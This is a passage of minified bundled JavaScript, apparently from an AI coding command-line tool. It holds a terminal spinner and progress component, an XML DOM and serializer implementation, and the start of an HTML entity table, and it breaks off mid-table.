x=ew()?N?.find((B1)=>B1.status!=="pending"&&B1.status!=="completed"):X?.find((B1)=>B1.status==="in_progress"),y=ew()?P_2(N):X?.find((B1)=>B1.status==="pending"),[B]=NW.useState(()=>rg(Ct7())),b=(H??x?.activeForm??B)+"…",{isStalled:F,stalledIntensity:Q}=ER6(Y,$),u=LS(A,b,P,F),d=vR6(A),r=NW.useRef(Y);NW.useEffect(()=>{let B1="spinner-"+A;return cFA.startCLIActivity(B1),()=>{cFA.endCLIActivity(B1)}},[A]),NW.useEffect(()=>{r.current=Y},[Y]),s9(()=>{if(!P){G(4);return}G((B1)=>B1+1)},120),s9(()=>{W((B1)=>{let C6=r.current-B1;if(C6<=0)return B1;let w1;if(C6<70)w1=1;else if(C6<200)w1=Math.max(2,Math.ceil(C6*0.08));else w1=18;return Math.min(B1+w1,r.current)})},10);let c=j7(b)+2,YA=T==="thinking"?"thinking":typeof T==="number"?`thought for ${Math.max(1,Math.round(T/1000))}s`:null,e=YA?j7(YA):0,qA=Math.round(Z/4),HA=0,_A=!1;for(let B1 of Object.values(D))if(W_(B1)&&B1.status==="running"){if(_A=!0,B1.progress?.tokenCount)HA+=B1.progress.tokenCount}let a=NW.useRef(Date.now()-K);NW.useEffect(()=>{let B1=Date.now()-K;if(!_A||B1<a.current)a.current=B1},[K,_A]);let[JA,jA]=NW.useState(K);s9(()=>jA(Date.now()-a.current),_A?100:null);let MA=NW.useRef(_A);if(MA.current&&!_A)a.current=Date.now()-K,jA(K);MA.current=_A;let hA=_A?Math.max(K,JA):K,yA=$O(hA),AA=j7(yA),wA=qA+HA,GA=g5(wA),OA=_A?`${GA} tokens`:`${eA.arrowDown} ${GA} tokens`,t=j7(OA),XA=j7(" · "),VA=T!==null,vA=O||_A||hA>D_2,RA=f-c-5,fA=VA&&RA>e,LA=fA?e+XA:0,SA=vA&&RA>LA+AA,xA=LA+(SA?AA+XA:0),iA=vA&&RA>xA+t,lA=[...J?[P7.createElement(V,{dimColor:!0,key:"suffix"},J)]:[],...SA?[P7.createElement(V,{dimColor:!0,key:"elapsedTime"},yA)]:[],...iA?[P7.createElement(S,{flexDirection:"row",key:"tokens"},!_A&&P7.createElement(j_2,{mode:A}),P7.createElement(V,{dimColor:!0},GA," tokens"))]:[],...fA&&YA?[T==="thinking"?P7.createElement(Ft7,{key:"thinking",text:YA}):P7.createElement(V,{dimColor:!0,key:"thinking"},YA)]:[]];if(P===!1)lA.push(P7.createElement(S,{key:"offline"},P7.createElement(V,{color:"error",bold:!0},"offline")));let v1=z??(P===!1?"inactive":"claude"),I1=w??"claudeShimmer",Q1=lA.length>0?P7.createElement(P7.Fragment,null,P7.createElement(V,{dimColor:!0},"("),P7.createElement(Y8,null,lA),P7.createElement(V,{dimColor:!0},")")):null;return P7.createElement(S,{flexDirection:"column",width:"100%",alignItems:"flex-start"},P7.createElement(S,{flexDirection:"row",flexWrap:"wrap",marginTop:1,width:"100%"},P7.createElement(rFA,{frame:_,messageColor:v1,stalledIntensity:z?0:Q,isConnected:P}),P7.createElement(NR6,{message:b,mode:A,isConnected:P,messageColor:v1,glimmerIndex:u,flashOpacity:d,shimmerColor:I1,stalledIntensity:z?0:Q}),Q1,j&&P7.createElement(V,{dimColor:!0}," [leader]")),M&&N&&N.length>0?P7.createElement(S,{width:"100%",flexDirection:"column"},P7.createElement(k6,null,P7.createElement(VM1,{tasks:N}))):M&&X&&X.length>0?P7.createElement(S,{width:"100%",flexDirection:"column"},P7.createElement(k6,null,P7.createElement(Nt,{todos:X}))):y||q?P7.createElement(S,{width:"100%"},P7.createElement(k6,null,P7.createElement(V,{dimColor:!0},y?`Next: ${"subject"in y?y.subject:y.content}`:`Tip: ${q}`))):null)}function j_2(A){let K=s(2),{mode:q}=A;switch(q){case"tool-input":case"tool-use":case"responding":case"thinking":{let Y;if(K[0]===Symbol.for("react.memo_cache_sentinel"))Y=P7.createElement(S,{width:2},P7.createElement(V,{dimColor:!0},eA.arrowDown)),K[0]=Y;else Y=K[0];return Y}case"requesting":{let Y;if(K[1]===Symbol.for("react.memo_cache_sentinel"))Y=P7.createElement(S,{width:2},P7.createElement(V,{dimColor:!0},eA.arrowUp)),K[1]=Y;else Y=K[1];return Y}}}function F7(){let A=s(4),[K,q]=NW.useState(0),{isConnected:Y}=GR6(),z;if(A[0]===Symbol.for("react.memo_cache_sentinel"))z=()=>{q(M_2)},A[0]=z;else z=A[0];s9(z,120);let w=Y===!1?"inactive":"text",H=pt7[K],J;if(A[1]!==w||A[2]!==H)J=P7.createElement(S,{flexWrap:"wrap",height:1,width:2},P7.createElement(V,{color:w},H)),A[1]=w,A[2]=H,A[3]=J;else J=A[3];return J}function M_2(A){return(A+1)%pt7.length}function P_2(A){if(!A)return;let K=A.filter((Y)=>Y.status==="pending");if(K.length===0)return;let q=new Set(A.filter((Y)=>Y.status!=="completed").map((Y)=>Y.id));return K.find((Y)=>!Y.blockedBy.some((z)=>q.has(z)))??K[0]}var P7,NW,Ut7,pt7,D_2=30000;var i2=k(()=>{cA();mA();aTA();aO();g4();kt7();ZR6();Lt7();Eq();lFA();DR6();jR6();VJ();A4();uK();Dq();mt7();Qt7();XG();P7=o($A(),1),NW=o($A(),1),Ut7=nFA(),pt7=[...Ut7,...[...Ut7].reverse()]});var oFA=v((N_2)=>{function V_2(A,K,q){if(q===void 0)q=Array.prototype;if(A&&typeof q.find==="function")return q.find.call(A,K);for(var Y=0;Y<A.length;Y++)if(Object.prototype.hasOwnProperty.call(A,Y)){var z=A[Y];if(K.call(void 0,z,Y,A))return z}}function CR6(A,K){if(K===void 0)K=Object;return K&&typeof K.freeze==="function"?K.freeze(A):A}function f_2(A,K){if(A===null||typeof A!=="object")throw TypeError("target is not an object");for(var q in K)if(Object.prototype.hasOwnProperty.call(K,q))A[q]=K[q];return A}var ct7=CR6({HTML:"text/html",isHTML:function(A){return A===ct7.HTML},XML_APPLICATION:"application/xml",XML_TEXT:"text/xml",XML_XHTML_APPLICATION:"application/xhtml+xml",XML_SVG_IMAGE:"image/svg+xml"}),lt7=CR6({HTML:"http://www.w3.org/1999/xhtml",isHTML:function(A){return A===lt7.HTML},SVG:"http://www.w3.org/2000/svg",XML:"http://www.w3.org/XML/1998/namespace",XMLNS:"http://www.w3.org/2000/xmlns/"});N_2.assign=f_2;N_2.find=V_2;N_2.freeze=CR6;N_2.MIME_TYPE=ct7;N_2.NAMESPACE=lt7});var mR6=v((Q_2)=>{var et7=oFA(),iB=et7.find,aFA=et7.NAMESPACE;function L_2(A){return A!==""}function R_2(A){return A?A.split(/[\t\n\f\r ]+/).filter(L_2):[]}function y_2(A,K){if(!A.hasOwnProperty(K))A[K]=!0;return A}function it7(A){if(!A)return[];var K=R_2(A);return Object.keys(K.reduce(y_2,{}))}function I_2(A){return function(K){return A&&A.indexOf(K)!==-1}}function tFA(A,K){for(var q in A)if(Object.prototype.hasOwnProperty.call(A,q))K[q]=A[q]}function pf(A,K){var q=A.prototype;if(!(q instanceof K)){let z=function(){};var Y=z;z.prototype=K.prototype,z=new z,tFA(q,z),A.prototype=q=z}if(q.constructor!=A){if(typeof A!="function")console.error("unknown Class:"+A);q.constructor=A}}var df={},RS=df.ELEMENT_NODE=1,pjA=df.ATTRIBUTE_NODE=2,vM1=df.TEXT_NODE=3,Ae7=df.CDATA_SECTION_NODE=4,Ke7=df.ENTITY_REFERENCE_NODE=5,S_2=df.ENTITY_NODE=6,qe7=df.PROCESSING_INSTRUCTION_NODE=7,Ye7=df.COMMENT_NODE=8,ze7=df.DOCUMENT_NODE=9,we7=df.DOCUMENT_TYPE_NODE=10,Md=df.DOCUMENT_FRAGMENT_NODE=11,h_2=df.NOTATION_NODE=12,Zj={},iG={},VhH=Zj.INDEX_SIZE_ERR=(iG[1]="Index size error",1),fhH=Zj.DOMSTRING_SIZE_ERR=(iG[2]="DOMString size error",2),Uf=Zj.HIERARCHY_REQUEST_ERR=(iG[3]="Hierarchy request error",3),NhH=Zj.WRONG_DOCUMENT_ERR=(iG[4]="Wrong document",4),ThH=Zj.INVALID_CHARACTER_ERR=(iG[5]="Invalid character",5),vhH=Zj.NO_DATA_ALLOWED_ERR=(iG[6]="No data allowed",6),EhH=Zj.NO_MODIFICATION_ALLOWED_ERR=(iG[7]="No modification allowed",7),He7=Zj.NOT_FOUND_ERR=(iG[8]="Not found",8),khH=Zj.NOT_SUPPORTED_ERR=(iG[9]="Not supported",9),nt7=Zj.INUSE_ATTRIBUTE_ERR=(iG[10]="Attribute in use",10),ChH=Zj.INVALID_STATE_ERR=(iG[11]="Invalid state",11),LhH=Zj.SYNTAX_ERR=(iG[12]="Syntax error",12),RhH=Zj.INVALID_MODIFICATION_ERR=(iG[13]="Invalid modification",13),yhH=Zj.NAMESPACE_ERR=(iG[14]="Invalid namespace",14),IhH=Zj.INVALID_ACCESS_ERR=(iG[15]="Invalid access",15);function WX(A,K){if(K instanceof Error)var q=K;else if(q=this,Error.call(this,iG[A]),this.message=iG[A],Error.captureStackTrace)Error.captureStackTrace(this,WX);if(q.code=A,K)this.message=this.message+": "+K;return q}WX.prototype=Error.prototype;tFA(Zj,WX);function jd(){}jd.prototype={length:0,item:function(A){return A>=0&&A<this.length?this[A]:null},toString:function(A,K){for(var q=[],Y=0;Y<this.length;Y++)UjA(this[Y],q,A,K);return q.join("")},filter:function(A){return Array.prototype.filter.call(this,A)},indexOf:function(A){return Array.prototype.indexOf.call(this,A)}};function djA(A,K){this._node=A,this._refresh=K,yR6(this)}function yR6(A){var K=A._node._inc||A._node.ownerDocument._inc;if(A._inc!==K){var q=A._refresh(A._node);if(Pe7(A,"length",q.length),!A.$$length||q.length<A.$$length){for(var Y=q.length;Y in A;Y++)if(Object.prototype.hasOwnProperty.call(A,Y))delete A[Y]}tFA(q,A),A._inc=K}}djA.prototype.item=function(A){return yR6(this),this[A]||null};pf(djA,jd);function EM1(){}function Je7(A,K){var q=A.length;while(q--)if(A[q]===K)return q}function rt7(A,K,q,Y){if(Y)K[Je7(K,Y)]=q;else K[K.length++]=q;if(A){q.ownerElement=A;var z=A.ownerDocument;if(z)Y&&$e7(z,A,Y),b_2(z,A,q)}}function ot7(A,K,q){var Y=Je7(K,q);if(Y>=0){var z=K.length-1;while(Y<z)K[Y]=K[++Y];if(K.length=z,A){var w=A.ownerDocument;if(w)$e7(w,A,q),q.ownerElement=null}}else throw new WX(He7,Error(A.tagName+"@"+q))}EM1.prototype={length:0,item:jd.prototype.item,getNamedItem:function(A){var K=this.length;while(K--){var q=this[K];if(q.nodeName==A)return q}},setNamedItem:function(A){var K=A.ownerElement;if(K&&K!=this._ownerElement)throw new WX(nt7);var q=this.getNamedItem(A.nodeName);return rt7(this._ownerElement,this,A,q),q},setNamedItemNS:function(A){var K=A.ownerElement,q;if(K&&K!=this._ownerElement)throw new WX(nt7);return q=this.getNamedItemNS(A.namespaceURI,A.localName),rt7(this._ownerElement,this,A,q),q},removeNamedItem:function(A){var K=this.getNamedItem(A);return ot7(this._ownerElement,this,K),K},removeNamedItemNS:function(A,K){var q=this.getNamedItemNS(A,K);return ot7(this._ownerElement,this,q),q},getNamedItemNS:function(A,K){var q=this.length;while(q--){var Y=this[q];if(Y.localName==K&&Y.namespaceURI==A)return Y}return null}};function Oe7(){}Oe7.prototype={hasFeature:function(A,K){return!0},createDocument:function(A,K,q){var Y=new eFA;if(Y.implementation=this,Y.childNodes=new jd,Y.doctype=q||null,q)Y.appendChild(q);if(K){var z=Y.createElementNS(A,K);Y.appendChild(z)}return Y},createDocumentType:function(A,K,q){var Y=new LM1;return Y.name=A,Y.nodeName=A,Y.publicId=K||"",Y.systemId=q||"",Y}};function Cz(){}Cz.prototype={firstChild:null,lastChild:null,previousSibling:null,nextSibling:null,attributes:null,parentNode:null,childNodes:null,ownerDocument:null,nodeValue:null,namespaceURI:null,prefix:null,localName:null,insertBefore:function(A,K){return kM1(this,A,K)},replaceChild:function(A,K){if(kM1(this,A,K,Ge7),K)this.removeChild(K)},removeChild:function(A){return _e7(this,A)},appendChild:function(A){return this.insertBefore(A,null)},hasChildNodes:function(){return this.firstChild!=null},cloneNode:function(A){return RR6(this.ownerDocument||this,this,A)},normalize:function(){var A=this.firstChild;while(A){var K=A.nextSibling;if(K&&K.nodeType==vM1&&A.nodeType==vM1)this.removeChild(K),A.appendData(K.data);else A.normalize(),A=K}},isSupported:function(A,K){return this.ownerDocument.implementation.hasFeature(A,K)},hasAttributes:function(){return this.attributes.length>0},lookupPrefix:function(A){var K=this;while(K){var q=K._nsMap;if(q){for(var Y in q)if(Object.prototype.hasOwnProperty.call(q,Y)&&q[Y]===A)return Y}K=K.nodeType==pjA?K.ownerDocument:K.parentNode}return null},lookupNamespaceURI:function(A){var K=this;while(K){var q=K._nsMap;if(q){if(Object.prototype.hasOwnProperty.call(q,A))return q[A]}K=K.nodeType==pjA?K.ownerDocument:K.parentNode}return null},isDefaultNamespace:function(A){var K=this.lookupPrefix(A);return K==null}};function Xe7(A){return A=="<"&&"<"||A==">"&&">"||A=="&"&&"&"||A=='"'&&"""||"&#"+A.charCodeAt()+";"}tFA(df,Cz);tFA(df,Cz.prototype);function sFA(A,K){if(K(A))return!0;if(A=A.firstChild)do if(sFA(A,K))return!0;while(A=A.nextSibling)}function eFA(){this.ownerDocument=this}function b_2(A,K,q){A&&A._inc++;var Y=q.namespaceURI;if(Y===aFA.XMLNS)K._nsMap[q.prefix?q.localName:""]=q.value}function $e7(A,K,q,Y){A&&A._inc++;var z=q.namespaceURI;if(z===aFA.XMLNS)delete K._nsMap[q.prefix?q.localName:""]}function IR6(A,K,q){if(A&&A._inc){A._inc++;var Y=K.childNodes;if(q)Y[Y.length++]=q;else{var z=K.firstChild,w=0;while(z)Y[w++]=z,z=z.nextSibling;Y.length=w,delete Y[Y.length]}}}function _e7(A,K){var{previousSibling:q,nextSibling:Y}=K;if(q)q.nextSibling=Y;else A.firstChild=Y;if(Y)Y.previousSibling=q;else A.lastChild=q;return K.parentNode=null,K.previousSibling=null,K.nextSibling=null,IR6(A.ownerDocument,A),K}function x_2(A){return A&&(A.nodeType===Cz.DOCUMENT_NODE||A.nodeType===Cz.DOCUMENT_FRAGMENT_NODE||A.nodeType===Cz.ELEMENT_NODE)}function u_2(A){return A&&(nB(A)||SR6(A)||Pd(A)||A.nodeType===Cz.DOCUMENT_FRAGMENT_NODE||A.nodeType===Cz.COMMENT_NODE||A.nodeType===Cz.PROCESSING_INSTRUCTION_NODE)}function Pd(A){return A&&A.nodeType===Cz.DOCUMENT_TYPE_NODE}function nB(A){return A&&A.nodeType===Cz.ELEMENT_NODE}function SR6(A){return A&&A.nodeType===Cz.TEXT_NODE}function at7(A,K){var q=A.childNodes||[];if(iB(q,nB)||Pd(K))return!1;var Y=iB(q,Pd);return!(K&&Y&&q.indexOf(Y)>q.indexOf(K))}function st7(A,K){var q=A.childNodes||[];function Y(w){return nB(w)&&w!==K}if(iB(q,Y))return!1;var z=iB(q,Pd);return!(K&&z&&q.indexOf(z)>q.indexOf(K))}function B_2(A,K,q){if(!x_2(A))throw new WX(Uf,"Unexpected parent node type "+A.nodeType);if(q&&q.parentNode!==A)throw new WX(He7,"child not in parent");if(!u_2(K)||Pd(K)&&A.nodeType!==Cz.DOCUMENT_NODE)throw new WX(Uf,"Unexpected node type "+K.nodeType+" for parent node type "+A.nodeType)}function m_2(A,K,q){var Y=A.childNodes||[],z=K.childNodes||[];if(K.nodeType===Cz.DOCUMENT_FRAGMENT_NODE){var w=z.filter(nB);if(w.length>1||iB(z,SR6))throw new WX(Uf,"More than one element or text in fragment");if(w.length===1&&!at7(A,q))throw new WX(Uf,"Element in fragment can not be inserted before doctype")}if(nB(K)){if(!at7(A,q))throw new WX(Uf,"Only one element can be added and only after doctype")}if(Pd(K)){if(iB(Y,Pd))throw new WX(Uf,"Only one doctype is allowed");var H=iB(Y,nB);if(q&&Y.indexOf(H)<Y.indexOf(q))throw new WX(Uf,"Doctype can only be inserted before an element");if(!q&&H)throw new WX(Uf,"Doctype can not be appended since element is present")}}function Ge7(A,K,q){var Y=A.childNodes||[],z=K.childNodes||[];if(K.nodeType===Cz.DOCUMENT_FRAGMENT_NODE){var w=z.filter(nB);if(w.length>1||iB(z,SR6))throw new WX(Uf,"More than one element or text in fragment");if(w.length===1&&!st7(A,q))throw new WX(Uf,"Element in fragment can not be inserted before doctype")}if(nB(K)){if(!st7(A,q))throw new WX(Uf,"Only one element can be added and only after doctype")}if(Pd(K)){let O=function(X){return Pd(X)&&X!==q};var J=O;if(iB(Y,O))throw new WX(Uf,"Only one doctype is allowed");var H=iB(Y,nB);if(q&&Y.indexOf(H)<Y.indexOf(q))throw new WX(Uf,"Doctype can only be inserted before an element")}}function kM1(A,K,q,Y){if(B_2(A,K,q),A.nodeType===Cz.DOCUMENT_NODE)(Y||m_2)(A,K,q);var z=K.parentNode;if(z)z.removeChild(K);if(K.nodeType===Md){var w=K.firstChild;if(w==null)return K;var H=K.lastChild}else w=H=K;var J=q?q.previousSibling:A.lastChild;if(w.previousSibling=J,H.nextSibling=q,J)J.nextSibling=w;else A.firstChild=w;if(q==null)A.lastChild=H;else q.previousSibling=H;do w.parentNode=A;while(w!==H&&(w=w.nextSibling));if(IR6(A.ownerDocument||A,A),K.nodeType==Md)K.firstChild=K.lastChild=null;return K}function g_2(A,K){if(K.parentNode)K.parentNode.removeChild(K);if(K.parentNode=A,K.previousSibling=A.lastChild,K.nextSibling=null,K.previousSibling)K.previousSibling.nextSibling=K;else A.firstChild=K;return A.lastChild=K,IR6(A.ownerDocument,A,K),K}eFA.prototype={nodeName:"#document",nodeType:ze7,doctype:null,documentElement:null,_inc:1,insertBefore:function(A,K){if(A.nodeType==Md){var q=A.firstChild;while(q){var Y=q.nextSibling;this.insertBefore(q,K),q=Y}return A}if(kM1(this,A,K),A.ownerDocument=this,this.documentElement===null&&A.nodeType===RS)this.documentElement=A;return A},removeChild:function(A){if(this.documentElement==A)this.documentElement=null;return _e7(this,A)},replaceChild:function(A,K){if(kM1(this,A,K,Ge7),A.ownerDocument=this,K)this.removeChild(K);if(nB(A))this.documentElement=A},importNode:function(A,K){return Me7(this,A,K)},getElementById:function(A){var K=null;return sFA(this.documentElement,function(q){if(q.nodeType==RS){if(q.getAttribute("id")==A)return K=q,!0}}),K},getElementsByClassName:function(A){var K=it7(A);return new djA(this,function(q){var Y=[];if(K.length>0)sFA(q.documentElement,function(z){if(z!==q&&z.nodeType===RS){var w=z.getAttribute("class");if(w){var H=A===w;if(!H){var J=it7(w);H=K.every(I_2(J))}if(H)Y.push(z)}}});return Y})},createElement:function(A){var K=new D3A;K.ownerDocument=this,K.nodeName=A,K.tagName=A,K.localName=A,K.childNodes=new jd;var q=K.attributes=new EM1;return q._ownerElement=K,K},createDocumentFragment:function(){var A=new RM1;return A.ownerDocument=this,A.childNodes=new jd,A},createTextNode:function(A){var K=new hR6;return K.ownerDocument=this,K.appendData(A),K},createComment:function(A){var K=new bR6;return K.ownerDocument=this,K.appendData(A),K},createCDATASection:function(A){var K=new xR6;return K.ownerDocument=this,K.appendData(A),K},createProcessingInstruction:function(A,K){var q=new BR6;return q.ownerDocument=this,q.tagName=q.nodeName=q.target=A,q.nodeValue=q.data=K,q},createAttribute:function(A){var K=new CM1;return K.ownerDocument=this,K.name=A,K.nodeName=A,K.localName=A,K.specified=!0,K},createEntityReference:function(A){var K=new uR6;return K.ownerDocument=this,K.nodeName=A,K},createElementNS:function(A,K){var q=new D3A,Y=K.split(":"),z=q.attributes=new EM1;if(q.childNodes=new jd,q.ownerDocument=this,q.nodeName=K,q.tagName=K,q.namespaceURI=A,Y.length==2)q.prefix=Y[0],q.localName=Y[1];else q.localName=K;return z._ownerElement=q,q},createAttributeNS:function(A,K){var q=new CM1,Y=K.split(":");if(q.ownerDocument=this,q.nodeName=K,q.name=K,q.namespaceURI=A,q.specified=!0,Y.length==2)q.prefix=Y[0],q.localName=Y[1];else q.localName=K;return q}};pf(eFA,Cz);function D3A(){this._nsMap={}}D3A.prototype={nodeType:RS,hasAttribute:function(A){return this.getAttributeNode(A)!=null},getAttribute:function(A){var K=this.getAttributeNode(A);return K&&K.value||""},getAttributeNode:function(A){return this.attributes.getNamedItem(A)},setAttribute:function(A,K){var q=this.ownerDocument.createAttribute(A);q.value=q.nodeValue=""+K,this.setAttributeNode(q)},removeAttribute:function(A){var K=this.getAttributeNode(A);K&&this.removeAttributeNode(K)},appendChild:function(A){if(A.nodeType===Md)return this.insertBefore(A,null);else return g_2(this,A)},setAttributeNode:function(A){return this.attributes.setNamedItem(A)},setAttributeNodeNS:function(A){return this.attributes.setNamedItemNS(A)},removeAttributeNode:function(A){return this.attributes.removeNamedItem(A.nodeName)},removeAttributeNS:function(A,K){var q=this.getAttributeNodeNS(A,K);q&&this.removeAttributeNode(q)},hasAttributeNS:function(A,K){return this.getAttributeNodeNS(A,K)!=null},getAttributeNS:function(A,K){var q=this.getAttributeNodeNS(A,K);return q&&q.value||""},setAttributeNS:function(A,K,q){var Y=this.ownerDocument.createAttributeNS(A,K);Y.value=Y.nodeValue=""+q,this.setAttributeNode(Y)},getAttributeNodeNS:function(A,K){return this.attributes.getNamedItemNS(A,K)},getElementsByTagName:function(A){return new djA(this,function(K){var q=[];return sFA(K,function(Y){if(Y!==K&&Y.nodeType==RS&&(A==="*"||Y.tagName==A))q.push(Y)}),q})},getElementsByTagNameNS:function(A,K){return new djA(this,function(q){var Y=[];return sFA(q,function(z){if(z!==q&&z.nodeType===RS&&(A==="*"||z.namespaceURI===A)&&(K==="*"||z.localName==K))Y.push(z)}),Y})}};eFA.prototype.getElementsByTagName=D3A.prototype.getElementsByTagName;eFA.prototype.getElementsByTagNameNS=D3A.prototype.getElementsByTagNameNS;pf(D3A,Cz);function CM1(){}CM1.prototype.nodeType=pjA;pf(CM1,Cz);function AQA(){}AQA.prototype={data:"",substringData:function(A,K){return this.data.substring(A,A+K)},appendData:function(A){A=this.data+A,this.nodeValue=this.data=A,this.length=A.length},insertData:function(A,K){this.replaceData(A,0,K)},appendChild:function(A){throw Error(iG[Uf])},deleteData:function(A,K){this.replaceData(A,K,"")},replaceData:function(A,K,q){var Y=this.data.substring(0,A),z=this.data.substring(A+K);q=Y+q+z,this.nodeValue=this.data=q,this.length=q.length}};pf(AQA,Cz);function hR6(){}hR6.prototype={nodeName:"#text",nodeType:vM1,splitText:function(A){var K=this.data,q=K.substring(A);K=K.substring(0,A),this.data=this.nodeValue=K,this.length=K.length;var Y=this.ownerDocument.createTextNode(q);if(this.parentNode)this.parentNode.insertBefore(Y,this.nextSibling);return Y}};pf(hR6,AQA);function bR6(){}bR6.prototype={nodeName:"#comment",nodeType:Ye7};pf(bR6,AQA);function xR6(){}xR6.prototype={nodeName:"#cdata-section",nodeType:Ae7};pf(xR6,AQA);function LM1(){}LM1.prototype.nodeType=we7;pf(LM1,Cz);function Ze7(){}Ze7.prototype.nodeType=h_2;pf(Ze7,Cz);function We7(){}We7.prototype.nodeType=S_2;pf(We7,Cz);function uR6(){}uR6.prototype.nodeType=Ke7;pf(uR6,Cz);function RM1(){}RM1.prototype.nodeName="#document-fragment";RM1.prototype.nodeType=Md;pf(RM1,Cz);function BR6(){}BR6.prototype.nodeType=qe7;pf(BR6,Cz);function De7(){}De7.prototype.serializeToString=function(A,K,q){return je7.call(A,K,q)};Cz.prototype.toString=je7;function je7(A,K){var q=[],Y=this.nodeType==9&&this.documentElement||this,z=Y.prefix,w=Y.namespaceURI;if(w&&z==null){var z=Y.lookupPrefix(w);if(z==null)var H=[{namespace:w,prefix:null}]}return UjA(this,q,A,K,H),q.join("")}function tt7(A,K,q){var Y=A.prefix||"",z=A.namespaceURI;if(!z)return!1;if(Y==="xml"&&z===aFA.XML||z===aFA.XMLNS)return!1;var w=q.length;while(w--){var H=q[w];if(H.prefix===Y)return H.namespace!==z}return!0}function LR6(A,K,q){A.push(" ",K,'="',q.replace(/[<>&"\t\n\r]/g,Xe7),'"')}function UjA(A,K,q,Y,z){if(!z)z=[];if(Y)if(A=Y(A),A){if(typeof A=="string"){K.push(A);return}}else return;switch(A.nodeType){case RS:var w=A.attributes,H=w.length,M=A.firstChild,J=A.tagName;q=aFA.isHTML(A.namespaceURI)||q;var O=J;if(!q&&!A.prefix&&A.namespaceURI){var X;for(var $=0;$<w.length;$++)if(w.item($).name==="xmlns"){X=w.item($).value;break}if(!X)for(var _=z.length-1;_>=0;_--){var G=z[_];if(G.prefix===""&&G.namespace===A.namespaceURI){X=G.namespace;break}}if(X!==A.namespaceURI)for(var _=z.length-1;_>=0;_--){var G=z[_];if(G.namespace===A.namespaceURI){if(G.prefix)O=G.prefix+":"+J;break}}}K.push("<",O);for(var Z=0;Z<H;Z++){var W=w.item(Z);if(W.prefix=="xmlns")z.push({prefix:W.localName,namespace:W.value});else if(W.nodeName=="xmlns")z.push({prefix:"",namespace:W.value})}for(var Z=0;Z<H;Z++){var W=w.item(Z);if(tt7(W,q,z)){var D=W.prefix||"",j=W.namespaceURI;LR6(K,D?"xmlns:"+D:"xmlns",j),z.push({prefix:D,namespace:j})}UjA(W,K,q,Y,z)}if(J===O&&tt7(A,q,z)){var D=A.prefix||"",j=A.namespaceURI;LR6(K,D?"xmlns:"+D:"xmlns",j),z.push({prefix:D,namespace:j})}if(M||q&&!/^(?:meta|link|img|br|hr|input)$/i.test(J)){if(K.push(">"),q&&/^script$/i.test(J))while(M){if(M.data)K.push(M.data);else UjA(M,K,q,Y,z.slice());M=M.nextSibling}else while(M)UjA(M,K,q,Y,z.slice()),M=M.nextSibling;K.push("</",O,">")}else K.push("/>");return;case ze7:case Md:var M=A.firstChild;while(M)UjA(M,K,q,Y,z.slice()),M=M.nextSibling;return;case pjA:return LR6(K,A.name,A.value);case vM1:return K.push(A.data.replace(/[<&>]/g,Xe7));case Ae7:return K.push("<![CDATA[",A.data,"]]>");case Ye7:return K.push("<!--",A.data,"-->");case we7:var{publicId:P,systemId:f}=A;if(K.push("<!DOCTYPE ",A.name),P){if(K.push(" PUBLIC ",P),f&&f!=".")K.push(" ",f);K.push(">")}else if(f&&f!=".")K.push(" SYSTEM ",f,">");else{var N=A.internalSubset;if(N)K.push(" [",N,"]");K.push(">")}return;case qe7:return K.push("<?",A.target," ",A.data,"?>");case Ke7:return K.push("&",A.nodeName,";");default:K.push("??",A.nodeName)}}function Me7(A,K,q){var Y;switch(K.nodeType){case RS:Y=K.cloneNode(!1),Y.ownerDocument=A;case Md:break;case pjA:q=!0;break}if(!Y)Y=K.cloneNode(!1);if(Y.ownerDocument=A,Y.parentNode=null,q){var z=K.firstChild;while(z)Y.appendChild(Me7(A,z,q)),z=z.nextSibling}return Y}function RR6(A,K,q){var Y=new K.constructor;for(var z in K)if(Object.prototype.hasOwnProperty.call(K,z)){var w=K[z];if(typeof w!="object"){if(w!=Y[z])Y[z]=w}}if(K.childNodes)Y.childNodes=new jd;switch(Y.ownerDocument=A,Y.nodeType){case RS:var H=K.attributes,J=Y.attributes=new EM1,O=H.length;J._ownerElement=Y;for(var X=0;X<O;X++)Y.setAttributeNode(RR6(A,H.item(X),!0));break;case pjA:q=!0}if(q){var $=K.firstChild;while($)Y.appendChild(RR6(A,$,q)),$=$.nextSibling}return Y}function Pe7(A,K,q){A[K]=q}try{if(Object.defineProperty){let A=function(K){switch(K.nodeType){case RS:case Md:var q=[];K=K.firstChild;while(K){if(K.nodeType!==7&&K.nodeType!==8)q.push(A(K));K=K.nextSibling}return q.join("");default:return K.nodeValue}};F_2=A,Object.defineProperty(djA.prototype,"length",{get:function(){return yR6(this),this.$$length}}),Object.defineProperty(Cz.prototype,"textContent",{get:function(){return A(this)},set:function(K){switch(this.nodeType){case RS:case Md:while(this.firstChild)this.removeChild(this.firstChild);if(K||String(K))this.appendChild(this.ownerDocument.createTextNode(K));break;default:this.data=K,this.value=K,this.nodeValue=K}}}),Pe7=function(K,q,Y){K["$$"+q]=Y}}}catch(A){}var F_2;Q_2.DocumentType=LM1;Q_2.DOMException=WX;Q_2.DOMImplementation=Oe7;Q_2.Element=D3A;Q_2.Node=Cz;Q_2.NodeList=jd;Q_2.XMLSerializer=De7});var Ne7=v((r_2)=>{var Ve7=oFA().freeze;r_2.XML_ENTITIES=Ve7({amp:"&",apos:"'",gt:">",lt:"<",quot:'"'});r_2.HTML_ENTITIES=Ve7({Aacute:"Á",aacute:"á",Abreve:"Ă",abreve:"ă",ac:"∾",acd:"∿",acE:"∾̳",Acirc:"Â",acirc:"â",acute:"´",Acy:"А",acy:"а",AElig:"Æ",aelig:"æ",af:"",Afr:"\uD835\uDD04",afr:"\uD835\uDD1E",Agrave:"À",agrave:"à",alefsym:"ℵ",aleph:"ℵ",Alpha:"Α",alpha:"α",Amacr:"Ā",amacr:"ā",amalg:"⨿",AMP:"&",amp:"&",And:"⩓",and:"∧",andand:"⩕",andd:"⩜",andslope:"⩘",andv:"⩚",ang:"∠",ange:"⦤",angle:"∠",angmsd:"∡",angmsdaa:"⦨",angmsdab:"⦩",angmsdac:"⦪",angmsdad:"⦫",angmsdae:"⦬",angmsdaf:"⦭",angmsdag:"⦮",angmsdah:"⦯",angrt:"∟",angrtvb:"⊾",angrtvbd:"⦝",angsph:"∢",angst:"Å",angzarr:"⍼",Aogon:"Ą",aogon:"ą",Aopf:"\uD835\uDD38",aopf:"\uD835\uDD52",ap:"≈",apacir:"⩯",apE:"⩰",ape:"≊",apid:"≋",apos:"'",ApplyFunction:"",approx:"≈",approxeq:"≊",Aring:"Å",aring:"å",Ascr:"\uD835\uDC9C",ascr:"\uD835\uDCB6",Assign:"≔",ast:"*",asymp:"≈",asympeq:"≍",Atilde:"Ã",atilde:"ã",Auml:"Ä",auml:"ä",awconint: